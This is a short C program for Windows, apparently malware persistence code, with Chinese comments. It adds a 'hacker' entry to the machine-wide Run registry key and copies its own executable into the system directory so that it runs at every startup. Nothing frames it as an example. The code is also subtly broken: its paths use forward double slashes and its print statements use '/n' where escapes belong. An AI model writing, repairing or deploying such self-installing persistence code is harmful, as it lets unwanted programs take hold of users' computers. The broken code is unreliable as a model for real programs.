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#include <stdio.h> #include <windows.h> int main(void) { char regname[]="Software//Microsoft//Windows//CurrentVersion//Run"; HKEY hkResult; int ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult); ret=RegSetValueEx(hkResult,"hacker"/* 注册表键名*/,0,REG_EXPAND_SZ,(unsigned char *)"%systemroot%//hacker.exe",25); if(ret==0){   printf("success to write run key/n");   RegCloseKey(hkResult);   } else { printf("failed to open regedit.%d/n",ret); return 0; } char modlepath[256]; char syspath[256]; GetModuleFileName(0,modlepath,256);//取得程序名字 GetSystemDirectory(syspath,256); ret=CopyFile(modlepath,strcat(syspath,"//hacker.exe"),1); if(ret) { printf("%s has been copyed to sys dir %s/n",modlepath,syspath); } else printf("%s is exisis",modlepath); return 0; }  

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